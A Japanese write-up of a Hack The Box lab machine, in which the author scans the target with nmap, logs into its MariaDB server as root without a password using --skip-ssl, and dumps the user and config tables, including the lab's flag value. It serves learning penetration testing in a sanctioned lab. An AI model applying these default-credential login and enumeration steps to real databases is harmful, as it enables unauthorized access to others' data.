本題
今回はデータベースについてらしい。
何はともあれまずは偵察
┌──(root㉿kali)-[~]
└─# nmap -p- --min-rate=1000 -sC 10.129.26.242
Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-06-06 13:38 JST
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.71% done
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.67% done; ETC: 13:39 (0:00:59 remaining)
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 2.69% done; ETC: 13:39 (0:01:12 remaining)
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 3.61% done; ETC: 13:39 (0:00:53 remaining)
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 4.41% done; ETC: 13:39 (0:01:05 remaining)
Nmap scan report for 10.129.26.242
Host is up (0.18s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
3306/tcp open mysql
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
| Thread ID: 85
| Capabilities flags: 63486
| Some Capabilities: SupportsTransactions, Speaks41ProtocolOld, Support41Auth, IgnoreSigpipes, SupportsLoadDataLocal, Speaks41ProtocolNew, LongColumnFlag, InteractiveClient, FoundRows, SupportsCompression, DontAllowDatabaseTableColumn, ConnectWithDatabase, ODBCClient, IgnoreSpaceBeforeParenthesis, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: q@+UKWRv{'L,5cuC.[aV
|_ Auth Plugin Name: mysql_native_password
Nmap done: 1 IP address (1 host up) scanned in 133.77 seconds
ここから3306番のポートでmysqlのサービスが稼働している事が考察できる。
デフォルトのrootユーザーでログインしてみる。
┌──(root㉿kali)-[~]
└─# mysql -h 10.129.26.242 -u root
ERROR 2026 (HY000): TLS/SSL error: SSL is required, but the server does not support it
ここでエラーが出る。
ERROR 2026 (HY000): TLS/SSL error: SSL is required, but the server does not support it
このサイトを参考にエラーを解消することに...。
結局簡単な話であった
コマンド部分に--skip-ssl
を付け加えるためである。
クライアント側がホストに対して10.129.26.242
で接続しようとしている。しかし、クライアント側がSSL接続をデフォルトで要求している一方、サーバー側にSSL設定がされていないため、接続が拒否されるというものである。
実質的にクライアントが「SSLなしでもいいよ」という指示を出し、サーバー側は「SSL設定がないけど平文でもOK」という状態で接続が成立している。
ここではhacktheboxのボックスにVPNを使って接続し、そのボックス内同士で通信しているため暗号化する必要はないと考える。そもそも僕自身しかいないので盗聴のリスクがまるでない。
┌──(root㉿kali)-[~]
└─# mysql -h 10.129.26.242 -u root --skip-ssl
Welcome to the MariaDB monitor. Commands end with ; or \\g.
Your MariaDB connection id is 95
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at <https://github.com/MariaDB/server>
Type 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.
MariaDB [(none)]>
無事ログイン成功!
-h:ホストに接続するため。
-u:現在のユーザーと異なる場合、ログイン時のユーザー名を指定します。
↑最低限忘れないようにしよう。
SQLコマンドを打ってデータベースを探索していく
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| htb |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.190 sec)
MariaDB [(none)]> USE htb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [htb]> show tables;
+---------------+
| Tables_in_htb |
+---------------+
| config |
| users |
+---------------+
2 rows in set (0.238 sec)
MariaDB [htb]> select * from htb
-> ^C
MariaDB [htb]> select * from users
->
-> ^C
MariaDB [htb]> select * from users;
+----+----------+------------------+
| id | username | email |
+----+----------+------------------+
| 1 | admin | admin@sequel.htb |
| 2 | lara | lara@sequel.htb |
| 3 | sam | sam@sequel.htb |
| 4 | mary | mary@sequel.htb |
+----+----------+------------------+
4 rows in set (0.190 sec)
MariaDB [htb]> select * from config;
+----+-----------------------+----------------------------------+
| id | name | value |
+----+-----------------------+----------------------------------+
| 1 | timeout | 60s |
| 2 | security | default |
| 3 | auto_logon | false |
| 4 | max_size | 2M |
| 5 | flag | 7b4bec00d1a39e3dd4e021ec3d915da8 |
| 6 | enable_uploads | false |
| 7 | authentication_method | radius |
+----+-----------------------+----------------------------------+
7 rows in set (0.245 sec)
MariaDB [htb]> exit
Bye
このあたりは忘れないようにしよう。
流石にもうこのレベルに慣れてきた。
参考文献(参照日2025年6月6日)
公式writeup